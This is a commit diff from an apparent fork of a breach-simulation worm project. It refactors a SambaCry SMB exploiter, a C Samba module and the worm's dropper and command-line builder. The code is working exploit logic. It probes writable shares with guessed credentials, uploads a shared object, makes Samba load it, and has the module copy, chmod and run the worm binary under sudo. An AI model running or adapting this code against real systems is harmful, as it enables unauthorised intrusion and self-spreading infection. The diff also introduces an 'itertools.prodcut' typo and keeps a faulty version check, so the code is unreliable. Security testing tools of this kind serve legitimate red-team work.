forked from p15670423/monkey
Fix CR
This commit is contained in:
parent
c8d7a2c4d3
commit
cc889f9124
|
@ -174,22 +174,22 @@ class ControlClient(object):
|
|||
if is_windows:
|
||||
os = "windows"
|
||||
if is_32bit:
|
||||
arc = "x86"
|
||||
arch = "x86"
|
||||
else:
|
||||
arc = "amd64"
|
||||
arch = "amd64"
|
||||
else:
|
||||
os = "linux"
|
||||
if is_32bit:
|
||||
arc = "i686"
|
||||
arch = "i686"
|
||||
else:
|
||||
arc = "x86_64"
|
||||
arch = "x86_64"
|
||||
|
||||
return \
|
||||
{
|
||||
"os":
|
||||
{
|
||||
"type": os,
|
||||
"machine": arc
|
||||
"machine": arch
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -8,6 +8,8 @@ import logging
|
|||
import subprocess
|
||||
import argparse
|
||||
from ctypes import c_char_p
|
||||
|
||||
from exploit.tools import build_monkey_commandline_explicitly
|
||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from config import WormConfiguration
|
||||
from system_info import SystemInfoCollector, OperatingSystem
|
||||
|
@ -44,7 +46,7 @@ class MonkeyDrops(object):
|
|||
def start(self):
|
||||
|
||||
if self._config['destination_path'] is None:
|
||||
# TODO: log or something.
|
||||
LOG.error("No destination path specified")
|
||||
return
|
||||
|
||||
# we copy/move only in case path is different
|
||||
|
@ -93,23 +95,18 @@ class MonkeyDrops(object):
|
|||
except:
|
||||
LOG.warn("Cannot set reference date to destination file")
|
||||
|
||||
monkey_options = ""
|
||||
if self.opts.parent:
|
||||
monkey_options += " -p %s" % self.opts.parent
|
||||
if self.opts.tunnel:
|
||||
monkey_options += " -t %s" % self.opts.tunnel
|
||||
if self.opts.server:
|
||||
monkey_options += " -s %s" % self.opts.server
|
||||
if self.opts.depth:
|
||||
monkey_options += " -d %s" % self.opts.depth
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||
|
||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||
else:
|
||||
dest_path = self._config['destination_path']
|
||||
monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
|
||||
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
|
||||
# runs the monkey
|
||||
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
|
||||
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
|
||||
'monkey_commandline': monkey_cmdline}
|
||||
'monkey_commandline': inner_monkey_cmdline}
|
||||
|
||||
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
|
|
|
@ -4,6 +4,8 @@ import sys
|
|||
import time
|
||||
from io import BytesIO
|
||||
from os import path
|
||||
import itertools
|
||||
import posixpath
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nt_errors import STATUS_SUCCESS
|
||||
|
@ -18,7 +20,7 @@ import monkeyfs
|
|||
from exploit import HostExploiter
|
||||
from model import DROPPER_ARG
|
||||
from network.smbfinger import SMB_SERVICE
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter):
|
|||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share
|
||||
:param monkey_bin_src_path: src path of monkey binary to upload
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
try:
|
||||
|
@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
shares = self.list_shares(smb_client)
|
||||
|
||||
# don't try shares we can already write to.
|
||||
for writable_share in writable_shares_creds_dict:
|
||||
if writable_share in shares:
|
||||
shares.remove(writable_share)
|
||||
|
||||
for share in shares:
|
||||
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
||||
if self.is_share_writable(smb_client, share):
|
||||
writable_shares_creds_dict[share] = credentials
|
||||
|
||||
|
@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
def get_credentials_list(self):
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
# Add empty credentials for anonymous shares.
|
||||
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
||||
|
||||
for user, password in user_password_pairs:
|
||||
|
@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
def list_shares(self, smb_client):
|
||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||
for share in self._config.sambacry_shares_not_to_check:
|
||||
if share in shares:
|
||||
shares.remove(share)
|
||||
|
||||
return shares
|
||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||
|
||||
def is_vulnerable(self, host):
|
||||
"""
|
||||
|
@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter):
|
|||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
|
||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
|
||||
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))
|
||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||
|
||||
return is_vulnerable
|
||||
|
||||
|
@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter):
|
|||
:param smb_client: smb client object
|
||||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param monkey_bin_src_path: src path of monkey binary to upload
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
tree_id = smb_client.connectTree(share)
|
||||
|
@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
try:
|
||||
# the extra / on the beginning is required for the vulnerability
|
||||
self.openPipe(smb_client, "/" + module_path)
|
||||
self.open_pipe(smb_client, "/" + module_path)
|
||||
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
|
@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter):
|
|||
:param share_name: Name of the share
|
||||
:return: Array of possible full paths to the module.
|
||||
"""
|
||||
possible_paths = []
|
||||
|
||||
for folder_path in self._config.sambacry_folder_paths_to_guess:
|
||||
for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
|
||||
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
|
||||
return possible_paths
|
||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
||||
return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
||||
|
||||
def get_monkey_runner_bin_file(self, is_32bit):
|
||||
if is_32bit:
|
||||
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb")
|
||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
|
||||
else:
|
||||
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb")
|
||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
||||
|
||||
|
||||
def get_monkey_commandline_file(self, host, depth, location):
|
||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||
|
||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||
|
||||
|
@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
# In our case, str(FileID)
|
||||
return str(createResponse['FileID'])
|
||||
|
||||
def openPipe(self, smb_client, pathName):
|
||||
def open_pipe(self, smb_client, pathName):
|
||||
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree('IPC$')
|
||||
|
@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
||||
|
|
|
@ -442,33 +442,47 @@ def get_target_monkey(host):
|
|||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from config import WormConfiguration, GUID
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
cmdline += " -p " + GUID
|
||||
|
||||
if target_host.default_tunnel:
|
||||
cmdline += " -t " + target_host.default_tunnel
|
||||
if target_host.default_server:
|
||||
cmdline += " -s " + target_host.default_server
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
|
||||
cmdline += " -d %d" % depth
|
||||
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def report_failed_login(exploiter, machine, user, password):
|
||||
from control import ControlClient
|
||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||
'exploiter': exploiter.__class__.__name__,
|
||||
'user': user, 'password': password})
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
if getattr(sys, 'frozen', False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
|
|
@ -7,11 +7,11 @@
|
|||
#include "sc_monkey_runner.h"
|
||||
|
||||
#ifdef __x86_64__
|
||||
#define ARC_IS_64
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#ifdef _____LP64_____
|
||||
#define ARC_IS_64
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#define LINE_MAX_LENGTH (2048)
|
||||
|
@ -19,7 +19,7 @@
|
|||
|
||||
int samba_init_module(void)
|
||||
{
|
||||
#ifdef ARC_IS_64
|
||||
#ifdef ARCH_IS_64
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||
const char MONKEY_NAME[] = "monkey64";
|
||||
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
||||
|
@ -30,23 +30,24 @@ int samba_init_module(void)
|
|||
#endif
|
||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||
const char ACCESS_MODE_STRING[] = "0777";
|
||||
const int ACCESS_MODE_STRING = 0777;
|
||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||
|
||||
int found = 0;
|
||||
char modulePathLine[LINE_MAX_LENGTH];
|
||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||
char* monkeyDirectory;
|
||||
char* fileNamePointer;
|
||||
int accessMode;
|
||||
FILE * pFile;
|
||||
char* monkeyDirectory = NULL;
|
||||
char* fileNamePointer = NULL;
|
||||
int accessMode = 0;
|
||||
FILE * pFile = NULL;
|
||||
pid_t pid = 0;
|
||||
int monkeySize;
|
||||
void* monkeyBinary;
|
||||
int monkeySize = 0;
|
||||
void* monkeyBinary = NULL;
|
||||
struct stat fileStats;
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid != 0)
|
||||
if (0 != pid)
|
||||
{
|
||||
// error or this is parent - nothing to do but return.
|
||||
return 0;
|
||||
|
@ -54,7 +55,7 @@ int samba_init_module(void)
|
|||
|
||||
// Find fullpath of running module.
|
||||
pFile = fopen("/proc/self/maps", "r");
|
||||
if (pFile == NULL)
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
@ -70,7 +71,7 @@ int samba_init_module(void)
|
|||
fclose(pFile);
|
||||
|
||||
// We can't find ourselves in module list
|
||||
if (found == 0)
|
||||
if (0 == found)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
@ -78,14 +79,14 @@ int samba_init_module(void)
|
|||
monkeyDirectory = strchr(modulePathLine, '/');
|
||||
*fileNamePointer = '\0';
|
||||
|
||||
if (chdir(monkeyDirectory) < 0)
|
||||
if (0 != chdir(monkeyDirectory))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Write file to indicate we're running
|
||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||
if (pFile == NULL)
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
@ -95,44 +96,37 @@ int samba_init_module(void)
|
|||
|
||||
// Read commandline
|
||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||
if (pFile == NULL)
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Build commandline
|
||||
strcpy(commandline, RUN_MONKEY_CMD);
|
||||
strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME);
|
||||
commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' ';
|
||||
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
||||
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
|
||||
strncat(commandline, " ", 1);
|
||||
|
||||
fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile);
|
||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != stat(MONKEY_NAME, &fileStats))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeySize = (int)fileStats.st_size;
|
||||
|
||||
// Copy monkey to new file so we'll own it.
|
||||
pFile = fopen(MONKEY_NAME, "rb");
|
||||
|
||||
if (pFile == NULL)
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (0 != fseek (pFile, 0 ,SEEK_END))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeySize = ftell(pFile);
|
||||
|
||||
if (-1 == monkeySize)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
rewind(pFile);
|
||||
|
||||
monkeyBinary = malloc(monkeySize);
|
||||
|
||||
if (0 == monkeyBinary)
|
||||
if (NULL == monkeyBinary)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
@ -141,7 +135,7 @@ int samba_init_module(void)
|
|||
fclose(pFile);
|
||||
|
||||
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
||||
if (pFile == NULL)
|
||||
if (NULL == pFile)
|
||||
{
|
||||
free(monkeyBinary);
|
||||
return 0;
|
||||
|
@ -151,8 +145,7 @@ int samba_init_module(void)
|
|||
free(monkeyBinary);
|
||||
|
||||
// Change monkey permissions
|
||||
accessMode = strtol(ACCESS_MODE_STRING, 0, 8);
|
||||
if (chmod(MONKEY_COPY_NAME, accessMode) < 0)
|
||||
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue